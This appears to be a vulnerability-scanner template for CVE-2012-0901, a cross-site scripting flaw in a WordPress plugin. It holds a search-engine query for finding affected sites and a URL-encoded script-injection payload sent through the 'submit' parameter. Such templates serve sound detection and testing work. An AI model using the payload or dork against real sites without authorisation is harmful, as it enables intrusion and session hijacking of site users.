YouSayToo auto-publishing 1.0 - Cross-Site Scripting

id: CVE-2012-0901

info:
  name: YouSayToo auto-publishing 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in yousaytoo.php in YouSayToo auto-publishing plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0901
    - http://packetstormsecurity.org/files/view/108470/wpystap-xss.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72271
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-0901
    cwe-id: CWE-79
    epss-score: 0.00223
    epss-percentile: 0.60514
    cpe: cpe:2.3:a:attenzione:yousaytoo:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: attenzione
    product: yousaytoo
    google-query: "inurl:\"/wp-content/plugins/yousaytoo-auto-publishing-plugin\""
  tags: cve,cve2012,wp-plugin,packetstorm,wordpress,xss,attenzione
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}'

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/yousaytoo-auto-publishing-plugin/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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